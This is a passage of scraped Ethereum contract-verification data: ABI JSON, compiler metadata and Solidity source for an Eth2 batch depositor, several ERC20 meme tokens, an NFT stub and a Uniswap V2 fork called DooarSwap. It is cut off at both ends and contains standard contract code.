t256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.4+commit.c7e474f2

Default

None

ipfs://7a0318dec22945327afa921119843ea6dc3dc2fe6cfa5b0847efc18f3e6da0cd

FigmentEth2Depositor

/contracts/FigmentEth2Depositor.sol

0xf0075b3cf8953d3e23b0ef65960913fd97eb5227

Solidity

// SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "../contracts/interfaces/IDepositContract.sol"; contract FigmentEth2Depositor is Pausable, Ownable { /** * @dev Eth2 Deposit Contract address. */ IDepositContract public immutable depositContract; /** * @dev Minimal and maximum amount of nodes per transaction. */ uint256 public constant nodesMinAmount = 1; uint256 public constant pubkeyLength = 48; uint256 public constant credentialsLength = 32; uint256 public constant signatureLength = 96; /** * @dev Collateral size of one node. */ uint256 public constant collateral = 32 ether; /** * @dev Setting Eth2 Smart Contract address during construction. */ constructor(address depositContract_) { require(depositContract_ != address(0), "Zero address"); depositContract = IDepositContract(depositContract_); } /** * @dev This contract will not accept direct ETH transactions. */ receive() external payable { revert("Do not send ETH here"); } /** * @dev Function that allows to deposit many nodes at once. * * - pubkeys - Array of BLS12-381 public keys. * - withdrawal_credentials - Array of commitments to a public keys for withdrawals. * - signatures - Array of BLS12-381 signatures. * - deposit_data_roots - Array of the SHA-256 hashes of the SSZ-encoded DepositData objects. */ function deposit( bytes[] calldata pubkeys, bytes[] calldata withdrawal_credentials, bytes[] calldata signatures, bytes32[] calldata deposit_data_roots ) external payable whenNotPaused { uint256 nodesAmount = pubkeys.length; require(nodesAmount > 0, "1 node min / tx"); require(msg.value == collateral * nodesAmount, "ETH amount mismatch"); require( withdrawal_credentials.length == nodesAmount && signatures.length == nodesAmount && deposit_data_roots.length == nodesAmount, "Parameters mismatch"); for (uint256 i; i < nodesAmount; ++i) { require(pubkeys[i].length == pubkeyLength, "Wrong pubkey"); require(withdrawal_credentials[i].length == credentialsLength, "Wrong withdrawal cred"); require(signatures[i].length == signatureLength, "Wrong signatures"); IDepositContract(address(depositContract)).deposit{value: collateral}( pubkeys[i], withdrawal_credentials[i], signatures[i], deposit_data_roots[i] ); } emit DepositEvent(msg.sender, nodesAmount); } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function pause() external onlyOwner { _pause(); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function unpause() external onlyOwner { _unpause(); } event DepositEvent(address from, uint256 nodesAmount); }

[{"inputs":[{"internalType":"address","name":"depositContract_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"nodesAmount","type":"uint256"}],"name":"DepositEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Unpaused","type":"event"},{"inputs":[],"name":"collateral","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"credentialsLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes[]","name":"pubkeys","type":"bytes[]"},{"internalType":"bytes[]","name":"withdrawal_credentials","type":"bytes[]"},{"internalType":"bytes[]","name":"signatures","type":"bytes[]"},{"internalType":"bytes32[]","name":"deposit_data_roots","type":"bytes32[]"}],"name":"deposit","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"depositContract","outputs":[{"internalType":"contract IDepositContract","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nodesMinAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pubkeyLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"signatureLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unpause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.10+commit.fc410830

0000000000000000000000008c5fecdc472e27bc447696f431e425d02dd46a8c

Default

PapaSmurfLegendaryToken

contracts/PapaSmurfLegendaryToken.sol

0x82fed9f4a7472e0322e13226f5c9d1d92214d832

Solidity

pragma solidity ^0.8.0; contract PapaSmurfLegendaryToken is Ownable, ERC20 { bool public limited; uint256 public maxHoldingAmount; uint256 public minHoldingAmount; address public uniswapV2Pair; mapping(address => bool) public blacklists; constructor(uint256 _totalSupply) ERC20("Papa Smurf Legendary Token", "PSLT") { _mint(msg.sender, _totalSupply); } function blacklist(address _address, bool _isBlacklisting) external onlyOwner { blacklists[_address] = _isBlacklisting; } function setRule( bool _limited, address _uniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount ) external onlyOwner { limited = _limited; uniswapV2Pair = _uniswapV2Pair; maxHoldingAmount = _maxHoldingAmount; minHoldingAmount = _minHoldingAmount; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override { require(!blacklists[to] && !blacklists[from], "Blacklisted"); if (uniswapV2Pair == address(0)) { require(from == owner() || to == owner(), "trading is not started"); return; } if (limited && from == uniswapV2Pair) { require( super.balanceOf(to) + amount <= maxHoldingAmount && super.balanceOf(to) + amount >= minHoldingAmount, "Forbid" ); } } function burn(uint256 value) external { _burn(msg.sender, value); } }

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v0.8.22+commit.4fc1097e

000000000000000000000000000000000000000c9f2c9cd04674edea40000000

Default

MIT

ipfs://001131b48c6219e375858da43287fee92ed0a52d8a636c867110b58781a4e57b

HappyColours

contracts/HappyColours.sol

0x258f7e0ab288db3a9c02c22f34971fb5d0e171b4

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Happy Colours /// @author: manifold.xyz import "./manifold/ERC1155Creator.sol"; /////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // _ _ _ ____ ____ __ __ _ ____ _____ ____ // // |'| |'| U /"\ u U| _"\ uU| _"\ u\ \ / / U /"\ uU | _"\ u |_ " _| / __"| u // // /| |_| |\ \/ _ \/ \| |_) |/\| |_) |/ \ V / \/ _ \/ \| |_) |/ | | <\___ \/ // // U| _ |u / ___ \ | __/ | __/ U_|"|_u / ___ \ | _ < /| |\ u___) | // // |_| |_| /_/ \_\ |_| |_| |_| /_/ \_\ |_| \_\ u |_|U |____/>> // // // \\ \\ >> ||>>_ ||>>_ .-,//|(_ \\ >> // \\_ _// \\_ )( (__) // // (_") ("_)(__) (__)(__)__) (__)__) \_) (__) (__) (__)(__) (__)(__) (__)(__) // // // // // // // /////////////////////////////////////////////////////////////////////////////////////////////////// contract HappyColours is ERC1155Creator { constructor() ERC1155Creator("Happy Colours", "HappyColours") {} }

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v0.8.17+commit.8df45f5f

Default

0x6bf5ed59de0e19999d264746843ff931c0133090

DooarSwapV2Factory

contracts/DooarSwapV2Factory.sol

0x1e895bfe59e3a5103e8b7da3897d1f2391476f3c

Solidity

pragma solidity =0.5.16; import './interfaces/IDooarSwapV2Factory.sol'; import './DooarSwapV2Pair.sol'; contract DooarSwapV2Factory is IDooarSwapV2Factory { address public feeTo; address public feeToSetter; mapping(address => mapping(address => address)) public getPair; address[] public allPairs; event PairCreated(address indexed token0, address indexed token1, address pair, uint); constructor(address _feeToSetter) public { feeToSetter = _feeToSetter; } function allPairsLength() external view returns (uint) { return allPairs.length; } function createPair(address tokenA, address tokenB) external returns (address pair) { require(tokenA != tokenB, 'DooarSwapV2: IDENTICAL_ADDRESSES'); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'DooarSwapV2: ZERO_ADDRESS'); require(getPair[token0][token1] == address(0), 'DooarSwapV2: PAIR_EXISTS'); // single check is sufficient bytes memory bytecode = type(DooarSwapV2Pair).creationCode; bytes32 salt = keccak256(abi.encodePacked(token0, token1)); assembly { pair := create2(0, add(bytecode, 32), mload(bytecode), salt) } IDooarSwapV2Pair(pair).initialize(token0, token1); getPair[token0][token1] = pair; getPair[token1][token0] = pair; // populate mapping in the reverse direction allPairs.push(pair); emit PairCreated(token0, token1, pair, allPairs.length); } function setFeeTo(address _feeTo) external { require(msg.sender == feeToSetter, 'DooarSwapV2: FORBIDDEN'); feeTo = _feeTo; } function setFeeToSetter(address _feeToSetter) external { require(msg.sender == feeToSetter, 'DooarSwapV2: FORBIDDEN'); feeToSetter = _feeToSetter; } }

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v0.5.16+commit.9c3226ce

0000000000000000000000000f9e90e32f65c482c3786de6f62dd90e2df5f18c

Default

DooarSwapV2Factory

contracts/DooarSwapV2Pair.sol

0x1e895bfe59e3a5103e8b7da3897d1f2391476f3c

Solidity

pragma solidity =0.5.16; import './interfaces/IDooarSwapV2Pair.sol'; import './DooarSwapV2ERC20.sol'; import './libraries/Math.sol'; import './libraries/UQ112x112.sol'; import './interfaces/IERC20.sol'; import './interfaces/IDooarSwapV2Factory.sol'; import './interfaces/IDooarSwapV2Callee.sol'; contract DooarSwapV2Pair is IDooarSwapV2Pair, DooarSwapV2ERC20 { using SafeMath for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'DooarSwapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'DooarSwapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'DooarSwapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'DooarSwapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IDooarSwapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)).mul(7); uint denominator = rootK.mul(3).add(rootKLast.mul(7)); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'DooarSwapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20(_token0).balanceOf(address(this)); uint balance1 = IERC20(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'DooarSwapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'DooarSwapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'DooarSwapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'DooarSwapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IDooarSwapV2Callee(to).DooarSwapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'DooarSwapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(100).sub(amount0In.mul(1)); uint balance1Adjusted = balance1.mul(100).sub(amount1In.mul(1)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(100**2), 'DooarSwapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1); } }

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v0.5.16+commit.9c3226ce

0000000000000000000000000f9e90e32f65c482c3786de6f62dd90e2df5f18c

Default

DooarSwapV2Factory

contracts/interfaces/IDooarSwapV2Pair.sol

0x1e895bfe59e3a5103e8b7da3897d1f2391476f3c

Solidity

pragma solidity >=0.5.0; interface IDooarSwapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; }

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v0.5.16+commit.9c3226ce

0000000000000000000000000f9e90e32f65c482c3786de6f62dd90e2df5f18c

Default

DooarSwapV2Factory

contracts/DooarSwapV2ERC20.sol

0x1e895bfe59e3a5103e8b7da3897d1f2391476f3c

Solidity

pragma solidity =0.5.16; import './interfaces/IDooarSwapV2ERC20.sol'; import './libraries/SafeMath.sol'; contract DooarSwapV2ERC20 is IDooarSwapV2ERC20 { using SafeMath for uint; string public constant name = 'DooarSwap V2'; string public constant symbol = 'DOOAR'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'DooarSwapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'DooarSwapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } }

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v0.5.16+commit.9c3226ce

0000000000000000000000000f9e90e32f65c482c3786de6f62dd90e2df5f18c

Default

DooarSwapV2Factory

contracts/interfaces/IDooarSwapV2Callee.sol

0x1e895bfe59e3a5103e8b7da3897d1f2391476f3c

Solidity

pragma solidity >=0.5.0; interface IDooarSwapV2Callee { function DooarSwapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; }

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v0.5.16+commit.9c3226ce

0000000000000000000000000f9e90e32f65c482c3786de6f62dd90e2df5f18c

Default

DooarSwapV2Factory

contracts/interfaces/IDooarSwapV2ERC20.sol

0x1e895bfe59e3a5103e8b7da3897d1f2391476f3c

Solidity

pragma solidity >=0.5.0; interface IDooarSwapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; }

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v0.5.16+commit.9c3226ce

0000000000000000000000000f9e90e32f65c482c3786de6f62dd90e2df5f18c

Default

King

King.sol

0x332694d12b8bf59f3248949d295353f9b5c99af0

Solidity

/** Telegram: https://t.me/KING_ERC_20 Twitter: https://twitter.com/kingcoinerc */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract King is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "King"; string private constant _symbol = "KING"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 20; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x4a158fD41F610a8Ea0B1FA4953562Ba9d9DEA802); address payable private _marketingAddress = payable(0x4a158fD41F610a8Ea0B1FA4953562Ba9d9DEA802); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = true; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 4500000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), 